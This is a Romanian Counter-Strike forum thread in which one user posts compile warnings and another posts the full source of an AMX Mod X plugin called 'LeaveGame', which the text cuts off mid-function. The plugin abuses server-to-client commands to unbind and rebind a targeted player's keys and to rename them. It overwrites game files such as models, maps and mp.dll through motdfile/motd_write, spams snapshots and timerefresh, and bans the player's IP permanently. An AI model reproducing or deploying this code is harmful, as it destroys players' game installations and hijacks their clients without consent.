Amx_LeaveGame

Pluginuri facute de utilizatorii forumului eXtream.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

^AleX@nDrU^
Membru, skill 0
Membru, skill 0
Posts: 26
Joined: 05 Jan 2012, 11:57
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 1 time
Contact:

23 Feb 2012, 19:51

oke
Te astept
http://www.youtube.com/watch?v=RasME-6yBdk
Datimi si mie un like la video pe youtube va rog :D este primul meu video :)
RoyalServer 2
User avatar
b|t|d
Membru, skill 0
Membru, skill 0
Posts: 94
Joined: 14 Jan 2011, 18:21
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com!
Location: ro
Has thanked: 20 times
Contact:

14 Mar 2012, 14:16

I-mi da eroare pe compilare ,am adaugat decat forumul meu !!

Code: Select all

//// amx_leavegame.sma
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(66) : warning 2
17: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(69) : warning 2
17: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(73) : warning 2
17: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(77) : warning 2
17: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(78) : warning 2
17: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(102) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(109) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(110) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(111) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(117) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(118) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(133) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(135) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(136) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(144) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(187) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(188) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(235) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(278) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(279) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(322) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(323) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(351) : warning
217: loose indentation
// C:\HLDS\cstrike\!!1addons\amxmodx\scripting\amx_leavegame.sma(367) : warning
217: loose indentation
User avatar
syRex
Membru, skill 0
Membru, skill 0
Posts: 30
Joined: 24 Feb 2012, 16:11
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Been thanked: 5 times

14 Mar 2012, 15:33

salut, am corectat codul din plugin.

Poti incerca acum:

Code: Select all

#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <engine>

#define Baza 45630

new BanData[33][2][32]
new bool:ComandaB = false
new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer

static const poza[] = "http://..." 

public plugin_init()
{
	register_plugin("Leave Game", "2.0", "AleX@nDrU & M@sterAdy")
	register_concmd("amx_leavegame", "leavegame", ADMIN_LEVEL_G,"<nume> : Ii face praf CS-u + Snapshot + Ban pe IP permanent")
	register_concmd("amx_lg", "leavegame", ADMIN_LEVEL_G,"<nume> : Ii face praf CS-u + Snapshot + Ban pe IP permanent")
	register_cvar("amx_lg_activity","1")
}


public leavegame(id,level,cid){
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	if (ComandaB){
		Cronometru(id)
		return PLUGIN_HANDLED
	}
	new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum
	new fo_logfile[64],timp[64],maxtext[256]
	new tinta[32], minute[8], motiv[64] 
	read_argv(1, tinta, 31)    
	read_argv(2, minute, 7) 
	read_argv(3, motiv, 63)
	read_argv(1, arg, 31)
	new target = cmd_target(id,arg,1)
	new jucator = cmd_target(id, tinta, 9) 
	
	if (!jucator) 
		
	return PLUGIN_HANDLED    
	
	
	copy(BanData[jucator][0], 31, minute) 
	copy(BanData[jucator][1], 31, motiv) 
	new TaskData[4] 
	TaskData[0] = id 
	TaskData[1] = jucator
	new numeserver[64], nume[32], ip[32] 
	get_user_name(target,name,31)
	get_user_name(id,admin,31)
	get_user_authid(target,sAuthid,34)
	get_user_authid(id,sAuthid2,34)
	get_cvar_string("hostname",numeserver,63); 
	get_user_name(jucator,nume,31); 
	get_user_ip(jucator,ip,31); 
	get_configsdir(fo_logfile, 63)
	get_time("%m/%d/%Y - %H:%M:%S",timp,63)
	IncarcareServer()
	ScriereServer()
	format(message,551,"LeaveGameD^nComanda executata cu succes.^n Comanda numarul %i",SalvareServer)
	format(maxtext, 255, "[LG] %s: %s a folosit comanda LeaveGame pe %s",timp,admin,name)
	format(fo_logfile, 63, "%s/LeaveGame.txt", fo_logfile)
	
	if(!target){ 
		
		return PLUGIN_HANDLED 
	}
	switch (get_cvar_num("amx_lg_activity")) {
		case 1: client_cmd(target,"say ^" %s mi-a dat LeaveGame (Plugin by AleX@nDrU) !^"",admin)
			case 0: client_cmd(target,"say ^"Am primit LeaveGame (Plugin by AleX@nDrU) !^"")
		}
	client_cmd(target,"developer 1")
	client_cmd(target,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am luat LeaveGame pe BERCENI.SERVEGAME.COM .^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
	client_cmd(target,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
	client_cmd(target,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
	client_cmd(target,"unbind end;wait;bind escape ^"say Sunt neajutorat ca un mic *****^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
	client_cmd(target,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Sunt neajutorat ca un mic *****^";bind ~ ^"say Am fost distrus .^";wait;name ^"LeaveGame#Distrus^"")
	client_cmd(target,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
	
	//Strica dll-uri si waduri si MDL
	client_cmd(target,"motdfile models/player.mdl;motd_write x");
	client_cmd(target,"motdfile models/v_ak47.mdl;motd_write x");
	client_cmd(target,"motdfile cs_dust.wad;motd_write x");
	client_cmd(target,"motdfile models/v_m4a1.mdl;motd_write x");
	client_cmd(target,"motdfile resource/GameMenu.res;motd_write x");
	client_cmd(target,"motdfile halflife.wad;motd_write x");
	client_cmd(target,"motdfile cstrike.wad;motd_write x");
	client_cmd(target,"motdfile maps/de_dust2.bsp;motd_write x");
	client_cmd(target,"motdfile events/ak47.sc;motd_write x");
	client_cmd(target,"motdfile dlls/mp.dll;motd_write x");
	
	
	
	
	
	//Mesaje say pe bind
	client_cmd(target, "bind ^"w^" ^"say Sa folosit pluginul LeaveGame  a lui AleX@nDrU pe mine fiindca nu am respektat regulile." );
	client_cmd(target, "bind ^"s^" ^"say Sa folosit pluginul LeaveGame  a lui AleX@nDrU pe mine fiindca nu am respektat regulile." );
	client_cmd(target, "bind ^"r^" ^"say Sa folosit pluginul LeaveGame  a lui AleX@nDrU pe mine fiindca nu am respektat regulile." );
	client_cmd(target, "bind ^"`^" ^"say Sa folosit pluginul LeaveGame  a lui AleX@nDrU pe mine fiindca nu am respektat regulile." );
	
	
	
	write_file(fo_logfile,maxtext,-1)
	set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
	show_hudmessage(0, message)
	client_cmd(0, "spk ^"vox/bizwarn the coded has been detected and fucked^"")
	for (new i = 0; i < inum; ++i) {
		if ( access(players[i],ADMIN_CHAT) )
			client_print(players[i],print_chat,"[LG]Jucatorul:%s a primit LeaveGame de la %s",name,admin)
	}
	ComandaB = true
	Cronometru(id)   
	
	
	client_print(jucator, print_chat, "* Viziteaza %s pentru a scoate banul.", poza) 
	client_print(jucator, print_chat, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	client_print(jucator, print_chat, "* Data : %s",timp) 
	client_print(jucator, print_chat, "* Ai primit ban de la adminul %s",admin)
	client_print(jucator, print_chat,"* Screenshot a fost facut pe : %s",numeserver) 
	client_cmd(jucator,"wait;snapshot;wait;snapshot")
	client_cmd(target,"cl_timeout 0")   
	
	
	//Baneaza jucatorul permanent
	client_cmd(id, "amx_addban ^"%s^" permanent LeaveGame", ip)
	//Parms
	new parms[1]
	parms[0] = target
	set_task(0.10,"xs",1337+id,parms,1)
	return PLUGIN_HANDLED
	
}

public spank(id,parms[]){
	new jucator = parms[0]
	if(is_user_connected(id)){
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")		
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")		
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")			
	}
	else{
		if(!is_user_connected(id)){
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")		
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
